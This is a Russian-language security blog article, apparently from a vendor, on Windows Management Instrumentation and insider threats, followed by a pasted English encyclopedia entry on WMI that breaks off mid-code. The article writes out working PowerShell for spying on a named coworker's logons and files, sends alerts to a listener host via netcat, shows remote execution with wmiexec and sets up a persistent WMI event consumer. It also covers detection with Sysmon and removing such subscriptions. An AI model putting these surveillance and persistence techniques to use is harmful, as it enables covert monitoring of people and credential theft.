Wmi windows management instrumentation что это

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

From Wikipedia, the free encyclopedia

Windows Management Instrumentation

Developer(s) Microsoft
Operating system Microsoft Windows
Platform IA-32, x86-64, and ARM (historically Itanium, DEC Alpha, MIPS, and PowerPC)
Type Systems management
License Same as Microsoft Windows
Website learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

Windows Management Instrumentation (WMI) is a set of extensions to the Windows Driver Model that provides an operating system interface through which instrumented components provide information and notification. WMI is Microsoft’s implementation of the Web-Based Enterprise Management (WBEM) and Common Information Model (CIM) standards from the Distributed Management Task Force (DMTF).

WMI allows scripting languages (such as VBScript or PowerShell) to manage Microsoft Windows personal computers and servers, both locally and remotely. WMI comes preinstalled in Windows 2000 and later. It is available as a download for Windows NT 4.0,[1] Windows 95, and Windows 98.[2]

Also included with Windows was Windows Management Instrumentation Command-line (WMIC), a CLI utility to interface with WMI.[3] However, starting with Windows 10, version 21H1 and Windows Server 2022, WMIC is deprecated in favor of PowerShell.[4]

The purpose of WMI is to define a proprietary set of environment-independent specifications that enable sharing management information between management apps. WMI prescribes enterprise management standards and related technologies for Windows that work with existing management standards, such as Desktop Management Interface (DMI) and Simple Network Management Protocol (SNMP). WMI complements these other standards by providing a uniform model for accessing management data from any source.

Development process

[edit]

Because WMI abstracts the manageable entities with Common Information Model (CIM) and a collection of providers, the development of a provider implies several steps. The major steps can be summarized as follows:

  1. Create the manageable entity model
    1. Define a model
    2. Implement the model
  2. Create the WMI provider
    1. Determine the provider type to implement
    2. Determine the hosting model of the provider
    3. Create the provider template with the ATL wizard
    4. Implement the code logic in the provider
    5. Register the provider with WMI and the system
  3. Test the provider
  4. Create consumer sample code.

This article is missing information about the nature of WMI providers. Please expand the article to include this information. Further details may exist on the talk page. (February 2025)

Since the release of the first WMI implementation during the Windows NT 4.0 SP4 era (as an out-of-band download), Microsoft has consistently added WMI providers to Windows:

  • On Windows NT 4.0, the WMI package shipped with 15 providers.
  • Windows 2000 shipped with 29 WMI providers.
  • Windows Server 2003 came with approximately 80 WMI providers.
  • Windows Vista includes 13 new WMI providers,[5] hence ships with approximately 100 providers.
  • Windows Server 2008 includes more providers for IIS 7, PowerShell and virtualization.
  • Windows 10 adds 47 providers for the Mobile Device Management (MDM) service.[6]

Many customers have interpreted the growth in numbers of providers as a sign that Microsoft envisions WMI as the ubiquitous management layer of Windows.

Beyond the scripting needs, most leading management solutions, such as Microsoft Operations Mamager (MOM), System Center Configuration Manager (SCCM), Active Directory Services (ADS), HP OpenView (HPOV), and the various offerings of BMC Software and CA, Inc. are WMI-enabled, i.e., capable of consuming and providing WMI information. This enables administrators who lack WMI coding skills to benefit from WMI.

WMI offers many features out of the box. Here are the most important advantages:

  • Automation interfaces: WMI comes with a set of automation interfaces ready to use. Beyond the WMI class design and the provider development, the Microsoft development and test teams are not required to create, validate or test a scripting model as it is already available from WMI.
  • .NET management interfaces: The System.Management namespace[7] makes WMI classes available to all .NET apps and scripts written in C# or PowerShell. Beyond the WMI class design and the provider development, the Microsoft development and test teams are not required to create, validate and test new assemblies to support a new namespace in .NET as this support is already available from WMI.
  • COM interfaces: Unmanaged code in Microsoft Windows (e.g., apps written in C or C++ languages) can interact with the standard set of WMI interfaces for the Component Object Model (COM) to access WMI providers and their supported WMI classes. Developers of WMI providers can leverage the same COM interfaces in their projects to furnish said classes.
  • Remoting capabilities over DCOM and SOAP: In addition to local management via COM, WMI supports remoting via Distributed COM (DCOM) and SOAP. The latter is available in Windows Server 2003 R2 and later, through the WS-Management initiative led by Microsoft, Intel, Sun Microsystems, and Dell. This initiative allows running any scripts remotely or to consume WMI data through interfaces that handle SOAP requests and responses. WS-Management can consume everything that a WMI provider generates, although embedded objects in WMI instances were not supported until Windows Vista. WS-Management later became an integral part of PowerShell. Unlike SOAP-based remoting, DCOM-based remoting requires a proxy DLL deployed on each client machine.
  • Support for queries: WMI offers support for WQL queries.[8] This means WMI can still filter the results of a provider that doesn’t implement filtering or queries.
  • Event-handling capabilities: WMI can notify a subscriber of events of interest. WMI uses the WQL to submit event queries and define the type of events to be returned. Anyone writing a WMI provider can have the benefit of this functionality at no cost for their customers. It will be up to consumers to decide how they desire to consume the management information exposed by the WMI provider.

To speed up the process of writing a WMI provider, the WMI team developed the WMI ATL Wizard to generate the code template implementing a provider. The code generated is based on the WMI class model initially designed by the developer. The WMI provider developer will be able to interface the pre-defined COM or DCOM interfaces for the WMI provider with its set of native APIs retrieving the management information to expose.

WMI is based on an industry standard called Common Information Model (CIM) defined by the Distributed Management Task Force (DMTF). The CIM class-based schema is defined by a consortium of manufacturers and software developers for the requirements of the industry. Any developer can write code that fits into this model. For instance, Intel develops WMI providers for its network adapters. HP leveraged existing WMI providers and developed custom WMI providers for its OpenView enterprise management solutions. IBM’s Tivoli management suite consumes WMI. Starting with Windows XP SP2, Microsoft leverages WMI to get status information from antivirus software and firewalls.

On the Windows NT family of operating systems, WMI runs as a Windows service called WinMgmt. On the Windows 9x family, WMI runs in the context of the WinMgmt.exe executable file. On both Windows 9x and Windows NT families, WinMgmt.exe is available as a command-line utility for servicing the WMI repository.[9]

Microsoft provides the following WMI tools for developers and IT pros:

  • MOF compiler (MOFComp.exe): The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and objects defined in the file to the CIM repository. The MOF format is a specific syntax to define CIM class representation in an ASCII file. MOF’s role for CIM is comparable to MIB’s role for SNMP. MOFComp.exe is included in every WMI installation. Every definition existing in the CIM repository is initially defined in an MOF file. MOF files are located in %SystemRoot%\System32\WBEM. During the WMI setup, they are loaded in the CIM repository.
  • WMI Administrative Tools: This suite of tool consists of WMI CIM Studio, WMI Object Browser, WMI Event Registration, and WMI Event Viewer. The most important tool for a WMI provider developer is WMI CIM Studio as it helps in the initial WMI class creation in the CIM repository. It uses a web interface to display information and relies on a collection of ActiveX components installed on the system when it runs for the first time. WMI CIM Studio can:
    • Connect to a chosen system and browse the CIM repository in any namespace available.
    • Search for classes by their name, by their descriptions or by property names.
    • Review the properties, methods, and associations related to a given class.
    • See the instances available for a given class of the examined system.
    • Perform Queries in the WQL language.
    • Generate an MOF file based on selected classes.
    • Compile an MOF file to load it in the CIM repository.
  • WBEMTest.exe is a WMI tester tool delivered with WMI. This tool allows an administrator or a developer to perform most of the tasks from a graphical interface that WMI provides at the API level. Although available under all Windows NT-based operating systems, this tool is not officially supported by Microsoft. WBEMTest provides the ability to:
    • Enumerate, open, create, and delete classes.
    • Enumerate, open, create, and delete instances of classes.
    • Select a namespace.
    • Perform data and event queries.
    • Execute methods associated to classes or instances.
    • Execute every WMI operation asynchronously, synchronously or semi-asynchronously.
  • WMI command line tool (WMIC) is a scripting and automation utility that allows information retrivial and system administration via WMI, using some simple keywords (aliases). WMIC.exe is available on all Windows versions since Windows XP. Starting with Windows 10, version 21H1 and Windows Server 2022, WMIC is deprecated in favor of PowerShell.[4] In Windows 11, version 24H2, WMIC is not installed by default. A Linux port of WMIC, wmi-client, is written in Python and is based on Samba4.[10]
  • WBEMDump.exe: This command-lie tool is a component of the Platform SDK and comes a corresponding Visual C++ project. The tool can show the CIM repository classes, instances, or both. It is possible to retrieve the same information WMIC retrieves. WBEMDump.exe requires more specific knowledge about WMI, as it doesn’t abstract WMI as WMIC. It is also possible to execute methods exposed by classes or instances. Even if it is not a standard WMI tool delivered with the system installation, this tool can be quite useful for exploring the CIM repository and WMI features.
  • WMIDiag.vbs (discontinued): The WMI Diagnosis Tool is a VBScript for testing and validating WMI on Windows 2000 and later. This script was downloadable from Microsoft until August 2020.[11] The download includes pretty thorough documentation and the tool supports numerous switches. When run, it will generate up to four text files which: list the steps taken (the LOG file), an overview of the results (REPORT file), a statistics file (in comma separated values format), and optionally a file listing of the providers registered on the machine (PROVIDERS, also in comma separated values format). The report file that is generated includes a list of the issues identified and potential ways to fix them.

Wireless networking example

[edit]

In the .NET Framework, the ManagementClass class represents a Common Information Model (CIM) management class. A WMI class can be a Win32_LogicalDisk in the case of a disk drive, or a Win32_Process, such as a running program like Notepad.exe.

This example shows how MSNdis_80211_ServiceSetIdentifier WMI class is used to find the SSID of the Wi-Fi network that the system is currently connected to in the language C#:

ManagementClass mc = new ManagementClass("root\\WMI", "MSNdis_80211_ServiceSetIdentifier", null);
ManagementObjectCollection moc = mc.GetInstances();

foreach (ManagementObject mo in moc)
{
